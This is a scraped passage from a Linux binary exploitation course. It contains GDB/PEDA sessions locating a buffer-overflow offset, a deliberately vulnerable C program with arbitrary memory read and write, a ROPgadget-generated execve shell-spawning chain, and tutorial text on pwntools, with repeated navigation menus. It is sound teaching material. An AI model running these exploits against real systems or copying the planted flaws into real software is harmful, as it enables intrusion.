This program helps visualise where libc is loaded. Memory Layout: 00400000-00401000 r-xp 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 00600000-00601000 r--p 00000000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 00601000-00602000 rw-p 00001000 08:06 17434884 /home/amon/sproink/linux-exploitation-course/lessons/7_bypass_nx_ret2libc/build/2_reveal_addresses64 01609000-0162a000 rw-p 00000000 00:00 0 [heap] 7f649ccfe000-7f649cebd000 r-xp 00000000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 7f649cebd000-7f649d0bd000 ---p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 7f649d0bd000-7f649d0c1000 r--p 001bf000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 7f649d0c1000-7f649d0c3000 rw-p 001c3000 08:06 262743 /lib/x86_64-linux-gnu/libc-2.23.so 7f649d0c3000-7f649d0c7000 rw-p 00000000 00:00 0 7f649d0c7000-7f649d0ca000 r-xp 00000000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 7f649d0ca000-7f649d2c9000 ---p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 7f649d2c9000-7f649d2ca000 r--p 00002000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 7f649d2ca000-7f649d2cb000 rw-p 00003000 08:06 262742 /lib/x86_64-linux-gnu/libdl-2.23.so 7f649d2cb000-7f649d2f1000 r-xp 00000000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so 7f649d4cd000-7f649d4d0000 rw-p 00000000 00:00 0 7f649d4ee000-7f649d4f0000 rw-p 00000000 00:00 0 7f649d4f0000-7f649d4f1000 r--p 00025000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so 7f649d4f1000-7f649d4f2000 rw-p 00026000 08:06 262410 /lib/x86_64-linux-gnu/ld-2.23.so 7f649d4f2000-7f649d4f3000 rw-p 00000000 00:00 0 7ffd9f7b7000-7ffd9f7d8000 rw-p 00000000 00:00 0 [stack] 7ffd9f7e0000-7ffd9f7e2000 r--p 00000000 00:00 0 [vvar] 7ffd9f7e2000-7ffd9f7e4000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Function Addresses: System@libc 0x7f649cd43390 PID: 16781 Press enter to continue.

ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./1_vulnerable...(no debugging symbols found)...done. gdb-peda$ pattern_create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x65 ('e') EBX: 0x0 ECX: 0xffffffff EDX: 0xf7fc8870 --> 0x0 ESI: 0xf7fc7000 --> 0x1b1db0 EDI: 0xf7fc7000 --> 0x1b1db0 EBP: 0x44414128 ('(AAD') ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") EIP: 0x413b4141 ('AA;A') EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x413b4141 [------------------------------------stack-------------------------------------] 0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x413b4141 in ?? () gdb-peda$ pattern_offset 0x413b4141 1094402369 found at offset: 28 gdb-peda$

gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x0804843b <+0>: push ebp 0x0804843c <+1>: mov ebp,esp 0x0804843e <+3>: sub esp,0x18 0x08048441 <+6>: sub esp,0x4 0x08048444 <+9>: push 0x64 0x08048446 <+11>: lea eax,[ebp-0x18] 0x08048449 <+14>: push eax 0x0804844a <+15>: push 0x0 0x0804844c <+17>: call 0x8048300 <read@plt> 0x08048451 <+22>: add esp,0x10 0x08048454 <+25>: sub esp,0xc 0x08048457 <+28>: lea eax,[ebp-0x18] 0x0804845a <+31>: push eax 0x0804845b <+32>: call 0x8048310 <puts@plt> 0x08048460 <+37>: add esp,0x10 0x08048463 <+40>: nop 0x08048464 <+41>: leave 0x08048465 <+42>: ret End of assembler dump. gdb-peda$ del gdb-peda$ br *0x0804845b Breakpoint 2 at 0x804845b gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") EBX: 0x0 ECX: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") EDX: 0x64 ('d') ESI: 0xf7fc7000 --> 0x1b1db0 EDI: 0xf7fc7000 --> 0x1b1db0 EBP: 0xffffd608 ("AAAADCBA") ESP: 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") EIP: 0x804845b (<vuln+32>: call 0x8048310 <puts@plt>) EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048454 <vuln+25>: sub esp,0xc 0x8048457 <vuln+28>: lea eax,[ebp-0x18] 0x804845a <vuln+31>: push eax => 0x804845b <vuln+32>: call 0x8048310 <puts@plt> 0x8048460 <vuln+37>: add esp,0x10 0x8048463 <vuln+40>: nop 0x8048464 <vuln+41>: leave 0x8048465 <vuln+42>: ret Guessed arguments: arg[0]: 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") [------------------------------------stack-------------------------------------] 0000| 0xffffd5e0 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") 0004| 0xffffd5e4 --> 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") 0008| 0xffffd5e8 --> 0x64 ('d') 0012| 0xffffd5ec --> 0xf7e2d0ec (test eax,eax) 0016| 0xffffd5f0 ('A' <repeats 28 times>, "DCBA") 0020| 0xffffd5f4 ('A' <repeats 24 times>, "DCBA") 0024| 0xffffd5f8 ('A' <repeats 20 times>, "DCBA") 0028| 0xffffd5fc ('A' <repeats 16 times>, "DCBA") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 1 "1_vulnerable" hit Breakpoint 2, 0x0804845b in vuln () gdb-peda$

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int active = 1; char name[200]; char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"; void print_warning() { puts("======================================================================================="); puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy."); puts("Please treat this terminal with the utmost care."); puts("Crashing this program will result in ship malfunction."); puts("You have been warned."); puts("=======================================================================================\n"); } void print_prompt() { printf("Options for "); puts(name); puts("1. Peek Memory Address"); puts("2. Change Name"); puts("3. Overwite Memory Address"); puts("9. Exit Terminal"); } void peek_prompt() { int * address; printf("Address: "); scanf("%p", &address); printf("Contents: 0x%x\n", *address); } void change_name() { char buffer[100]; printf("Name: "); read(0, buffer, sizeof(name)); buffer[strcspn(buffer, "\n")] = 0; strncpy(name, buffer, sizeof(name)); } void poke_prompt() { int * address; int data; printf("Address: "); scanf("%p", &address); printf("Data: "); scanf("%x", &data); *address = data; } void print_secret() { if (getpid() == 0) { puts("secret"); } } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); int option; print_warning(); change_name(); while (active) { print_prompt(); printf("Option: "); scanf("%d", &option); if (option == 9) { active = 0; puts("Goodbye."); } else if (option == 1) { peek_prompt(); } else if (option == 2) { change_name(); } else if (option == 3) { poke_prompt(); } else if (option == 4) { print_secret(); } } }

ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx --ropchain ... snip ... ROP chain generation =========================================================== - Step 1 -- Write-what-where gadgets [+] Gadget found: 0x8050fb5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret [+] Gadget found: 0x8048453 pop esi ; ret [+] Gadget found: 0x80484a0 pop edi ; ret [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r' [+] Gadget found: 0x805495b mov dword ptr [edx], eax ; ret [+] Gadget found: 0x807299a pop edx ; ret [+] Gadget found: 0x80bbb46 pop eax ; ret [+] Gadget found: 0x80493e3 xor eax, eax ; ret - Step 2 -- Init syscall number gadgets [+] Gadget found: 0x80493e3 xor eax, eax ; ret [+] Gadget found: 0x807e1df inc eax ; ret - Step 3 -- Init syscall arguments gadgets [+] Gadget found: 0x80481d1 pop ebx ; ret [+] Gadget found: 0x80e2fc9 pop ecx ; ret [+] Gadget found: 0x807299a pop edx ; ret - Step 4 -- Syscall gadget [+] Gadget found: 0x8070605 int 0x80 - Step 5 -- Build the ROP chain #!/usr/bin/env python2 # execve generated by ROPgadget from struct import pack # Padding goes here p = '' p += pack('<I', 0x0807299a) # pop edx ; ret p += pack('<I', 0x080ee060) # @ .data p += pack('<I', 0x080bbb46) # pop eax ; ret p += '/bin' p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0807299a) # pop edx ; ret p += pack('<I', 0x080ee064) # @ .data + 4 p += pack('<I', 0x080bbb46) # pop eax ; ret p += '//sh' p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0807299a) # pop edx ; ret p += pack('<I', 0x080ee068) # @ .data + 8 p += pack('<I', 0x080493e3) # xor eax, eax ; ret p += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481d1) # pop ebx ; ret p += pack('<I', 0x080ee060) # @ .data p += pack('<I', 0x080e2fc9) # pop ecx ; ret p += pack('<I', 0x080ee068) # @ .data + 8 p += pack('<I', 0x0807299a) # pop edx ; ret p += pack('<I', 0x080ee068) # @ .data + 8 p += pack('<I', 0x080493e3) # xor eax, eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x0807e1df) # inc eax ; ret p += pack('<I', 0x08070605) # int 0x80

2. Introduction to PEDA and Pwntools

Introduction to PEDA and Pwntools

Throughout the section we will be using pre-built binaries in the build folder. From the base repository directory, please navigate as follows:

ubuntu@ubuntu-xenial:/vagrant$ cd lessons/3_intro_to_tools/
ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools$ cd build/

There should be a couple of binaries already in the directory. They are standard ELF files that you can run.

PEDA

Let's walk through an example with the 1_sample binary.

The prompt should show gdb-peda. If it does not, something has gone wrong with the environment setup. To start off, let's break on main and explore what is offered by PEDA.

We will go through a few of the interesting commands.

checksec

The checksec command lists the protections that are enabled for the binary. This is useful when figuring out how to craft your exploit.

distance

Often, calculating offsets from addresses is required when crafting your payload in an exploit. This command makes it easy to find the distance between two addresses.

elfsymbol

If you ever needed to get the address for certain symbols in a binary (if you are lucky and it is not stripped), you can use the elfsymbol command.

pattern

Let's say we create a pattern of length 64.

procinfo

This command parses information from the /proc/pid/x directory and presents it to you.

It is particularly useful to view which file descriptors are open.

vmmap

vmmap displays the memory mapping of the process. It is simple to invoke.

Additionally, if you have a pointer from a memory leak and want to figure out where exactly the pointer is pointing to, you can drill down specifically on that address.

find aka searchmem

The find command is an alias for the searchmem peda command. It searches memory for a given pattern. It is particularly useful to figure out where data is or how it flows in a process.

For example, something that is often sought for is the string "/bin/sh". Perhaps it lays in memory somewhere. We can use find to look for it.

Pwntools

Using Pwntools

There are three ways you can use Pwntools:

Interactively through the python/iPython consoles
In a python script
Pwntools command line tools

Interactively through the Console

iPython provides tab completion and a built-in system to look up documentation in docstrings. For example, if we want to look at what the p32 function does, we can look it up with the ? sigil.

In a Python Script

I like to begin with the following template when starting a new exploit.

Running the script is as simple as calling python on it. Try running this script:

Running the script:

Pwntools Command Line Tools

Pwntools installs the pwn python script in /usr/local/bin. It provides frontends to useful features of the library. To get a list of all available frontends, you can execute pwn -h.

You can investigate the available options at your own time. Take a look at the for a more detailed description of each of them.

Interacting with Target Binaries

Local Copy of Binary

To begin with, we will look at the 2_interactive binary:

For completeness sake, here is the source code:

The point of the program is to check the user input against a hardcoded password. If it matches, then an interactive shell is spawned.

Now that we know how to craft the input, we can write our sample exploit using Pwntools.

Simulating a Networked Application Locally

First, we will start a new screen session so that we can background our socat terminal.

Next, we run the following command to start a listener on port 1330.

To verify that the listener is indeed listening on port 1330, we can run netcat.

Now, here comes the magic. To modify the first script we had to work with local binaries, we may simply comment out the process() line and replace the line with remote("localhost", 1330).

Now, if we run this it should give us our shell.

Debugging with GDB

We will be using the 3_reversing binary to walkthrough this section. First, lets run it vanilla.

To gain a deeper insight into what is going on, we can use ltrace to investigate.

Using the following script, we can print the process id before the interaction with the program happens.

First, start another ssh session and run the script. Note the process id that gets printed. Also note the use of p32() to pack integers into little endian strings.

Return to the original bash shell and run GDB as root. Now, we can attach to the process.

Let's place some breakpoints on the function and step through the execution to discover what inputs we need to supply to pass the check.

Exercises

Please attempt the exercises in this section on your own before looking at the solution.

Ex 3.1: Getting the Right Name and Token

Continuing on from where we left off in the guided portion, please find the right values for the name and token and modify the exploit code such that a shell is obtained.

Solution script can be found here.

Ex 3.2: Launching the Attack Against a Remote Target

Please find the flag file on an instance of the service running at 127.0.0.1:1900.

Solution script can be found here.

gdb-peda$ br main Breakpoint 1 at 0x40052a gdb-peda$ r Starting program: /vagrant/lessons/3_intro_to_tools/build/1_sample [----------------------------------registers-----------------------------------] RAX: 0x400526 (<main>: push rbp) RBX: 0x0 RCX: 0x0 RDX: 0x7fffffffe5e8 --> 0x7fffffffe811 ("XDG_SESSION_ID=3") RSI: 0x7fffffffe5d8 --> 0x7fffffffe7e0 ("/vagrant/lessons/3_intro_to_tools/build/1_sample") RDI: 0x1 RBP: 0x7fffffffe4f0 --> 0x400540 (<__libc_csu_init>: push r15) RSP: 0x7fffffffe4f0 --> 0x400540 (<__libc_csu_init>: push r15) RIP: 0x40052a (<main+4>: mov edi,0x4005c4) R8 : 0x4005b0 (<__libc_csu_fini>: repz ret) R9 : 0x7ffff7de78e0 (<_dl_fini>: push rbp) R10: 0x846 R11: 0x7ffff7a2e740 (<__libc_start_main>: push r14) R12: 0x400430 (<_start>: xor ebp,ebp) R13: 0x7fffffffe5d0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400521 <frame_dummy+33>: jmp 0x4004a0 <register_tm_clones> 0x400526 <main>: push rbp 0x400527 <main+1>: mov rbp,rsp => 0x40052a <main+4>: mov edi,0x4005c4 0x40052f <main+9>: call 0x400400 <puts@plt> 0x400534 <main+14>: mov eax,0x0 0x400539 <main+19>: pop rbp 0x40053a <main+20>: ret [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe4f0 --> 0x400540 (<__libc_csu_init>: push r15) 0008| 0x7fffffffe4f8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax) 0016| 0x7fffffffe500 --> 0x0 0024| 0x7fffffffe508 --> 0x7fffffffe5d8 --> 0x7fffffffe7e0 ("/vagrant/lessons/3_intro_to_tools/build/1_sample") 0032| 0x7fffffffe510 --> 0x100000000 0040| 0x7fffffffe518 --> 0x400526 (<main>: push rbp) 0048| 0x7fffffffe520 --> 0x0 0056| 0x7fffffffe528 --> 0x3061aa2b46d3584b [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x000000000040052a in main () gdb-peda$

ubuntu@ubuntu-xenial:/vagrant/lessons/3_intro_to_tools/scripts$ sudo gdb GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". gdb-peda$ attach 5652 Attaching to process 5652 Reading symbols from /vagrant/lessons/3_intro_to_tools/build/3_reversing...(no debugging symbols found)...done. Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done. done. Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done. done. [----------------------------------registers-----------------------------------] RAX: 0xfffffffffffffe00 RBX: 0x0 RCX: 0x7f2156e17680 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x3f ('?') RSI: 0x7ffc16545500 --> 0x0 RDI: 0x0 RBP: 0x7ffc16545550 --> 0x4008f0 (<__libc_csu_init>: push r15) RSP: 0x7ffc165454e8 --> 0x400844 (<main+147>: mov edi,0x40098a) RIP: 0x7f2156e17680 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) R8 : 0x7f2157304700 (0x00007f2157304700) R9 : 0x6 R10: 0x37b R11: 0x246 R12: 0x400680 (<_start>: xor ebp,ebp) R13: 0x7ffc16545630 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7f2156e17677 <read+7>: jne 0x7f2156e17689 <read+25> 0x7f2156e17679 <__read_nocancel>: mov eax,0x0 0x7f2156e1767e <__read_nocancel+5>: syscall => 0x7f2156e17680 <__read_nocancel+7>: cmp rax,0xfffffffffffff001 0x7f2156e17686 <__read_nocancel+13>: jae 0x7f2156e176b9 <read+73> 0x7f2156e17688 <__read_nocancel+15>: ret 0x7f2156e17689 <read+25>: sub rsp,0x8 0x7f2156e1768d <read+29>: call 0x7f2156e354e0 <__libc_enable_asynccancel> [------------------------------------stack-------------------------------------] 0000| 0x7ffc165454e8 --> 0x400844 (<main+147>: mov edi,0x40098a) 0008| 0x7ffc165454f0 --> 0x0 0016| 0x7ffc165454f8 --> 0x4141414100000000 ('') 0024| 0x7ffc16545500 --> 0x0 0032| 0x7ffc16545508 --> 0x0 0040| 0x7ffc16545510 --> 0x0 0048| 0x7ffc16545518 --> 0x0 0056| 0x7ffc16545520 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x00007f2156e17680 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. gdb-peda$

Linux Kernel Exploitation

1. Setting Up the Environment

hashtagSetting Up the Environment

hashtagMandatory Steps

hashtagWindows Users

hashtagWhat Was Installed?

2. Introduction to PEDA and Pwntools

hashtagIntroduction to PEDA and Pwntools

hashtagPEDA

hashtagchecksec

hashtagdistance

hashtagelfsymbol

hashtagpattern

hashtagprocinfo

hashtagvmmap

hashtagfind aka searchmem

hashtagPwntools

hashtagUsing Pwntools

hashtagInteracting with Target Binaries

hashtagSimulating a Networked Application Locally

hashtagDebugging with GDB

hashtagExercises

hashtagEx 3.1: Getting the Right Name and Token

hashtagEx 3.2: Launching the Attack Against a Remote Target

3. Classic Exploitation Technique

hashtagClassic Exploitation Technique

4. Linux Binary Protections

hashtagLinux Binary Protections

hashtagClassic Exploitation Illustration

hashtagASLR, NX, and Stack Canaries

hashtagNo eXecute (NX)

hashtagAddress Space Layout Randomisation

hashtagStack Canaries

5. Bypassing NX with Return Oriented Programming

hashtagBypassing NX with Return Oriented Programming

hashtagEnabling NX

hashtagObtaining EIP Control

hashtagCode Gadgets

hashtagLinux Syscalls

hashtagGenerating the ROP Chain

hashtagExercises

hashtag6.1 Using Ropper to Generate ROP Chains

6. Bypassing NX with Ret2Libc

hashtagBypassing NX with Ret2Libc

hashtagInvestigating Shared Libraries

hashtagCalculating Addresses

hashtagExploiting a Minimalist Vulnerable Binary

hashtagExercise 7.1: Writing the Final Exploit

7. ASLR in Depth

hashtagASLR in Depth

hashtagASLR Turned Off

hashtagASLR Turned On

8. Bypassing ASLR/NX with Ret2PLT

hashtagBypassing ASLR/NX with Ret2PLT

hashtagGlobal Offset Table

hashtagProcedure Linkage Table

hashtagWriting the Exploit

hashtagExercises

hashtagEx 9.1: Event 0

9. Bypassing ASLR/NX with GOT Overwrite

hashtagBypassing ASLR/NX with GOT Overwrite

hashtagGOT Overwrite Strategy

hashtagWriting the Exploit

hashtagExercises

hashtagEx 10.1: Event 1

10. Multi-Stage Exploits

hashtagMulti-Stage Exploits

hashtagCrafting the Exploit Step by Step

hashtagThe Killing Blow

11. Format String Vulnerabilties

hashtagFormat String Vulnerabilties

hashtagExercises

hashtagEx 13.1: Echoes

Linux Kernel Exploitation

1. Setting Up the Environment

hashtagSetting Up the Environment

hashtagMandatory Steps

hashtagWindows Users

hashtagWhat Was Installed?

4. Linux Binary Protections

Setting Up the Environment

Mandatory Steps

Windows Users

What Was Installed?

Introduction to PEDA and Pwntools

PEDA

checksec

distance

elfsymbol

pattern

procinfo

vmmap

find aka searchmem

Pwntools

Using Pwntools

Interacting with Target Binaries

Simulating a Networked Application Locally

Debugging with GDB

Exercises

Ex 3.1: Getting the Right Name and Token

Ex 3.2: Launching the Attack Against a Remote Target

Classic Exploitation Technique

Linux Binary Protections

Classic Exploitation Illustration

ASLR, NX, and Stack Canaries

No eXecute (NX)

Address Space Layout Randomisation

Stack Canaries

Bypassing NX with Return Oriented Programming

Enabling NX

Obtaining EIP Control

Code Gadgets

Linux Syscalls

Generating the ROP Chain

Exercises

6.1 Using Ropper to Generate ROP Chains

Bypassing NX with Ret2Libc

Investigating Shared Libraries

Calculating Addresses

Exploiting a Minimalist Vulnerable Binary

Exercise 7.1: Writing the Final Exploit

ASLR in Depth

ASLR Turned Off

ASLR Turned On

Bypassing ASLR/NX with Ret2PLT

Global Offset Table

Procedure Linkage Table

Writing the Exploit

Exercises

Ex 9.1: Event 0

Bypassing ASLR/NX with GOT Overwrite

GOT Overwrite Strategy

Writing the Exploit

Exercises

Ex 10.1: Event 1

Multi-Stage Exploits

Crafting the Exploit Step by Step

The Killing Blow

Format String Vulnerabilties

Exercises

Ex 13.1: Echoes

Setting Up the Environment

Mandatory Steps

Windows Users

What Was Installed?

Linux Binary Protections

Classic Exploitation Illustration

ASLR, NX, and Stack Canaries

No eXecute (NX)

Address Space Layout Randomisation

Stack Canaries

Format String Vulnerabilties

Exercises

Ex 13.1: Echoes

ASLR in Depth

ASLR Turned Off

ASLR Turned On

Bypassing NX with Ret2Libc

Investigating Shared Libraries

Calculating Addresses